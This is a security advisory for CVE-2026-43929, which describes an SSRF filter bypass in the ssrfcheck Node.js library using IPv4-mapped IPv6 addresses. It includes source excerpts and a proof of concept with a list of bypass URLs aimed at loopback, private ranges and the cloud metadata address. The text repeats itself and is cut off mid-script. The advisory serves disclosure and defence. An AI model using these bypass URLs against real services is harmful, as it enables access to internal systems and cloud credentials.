CVE-2026-43929

ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
 …

ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
 …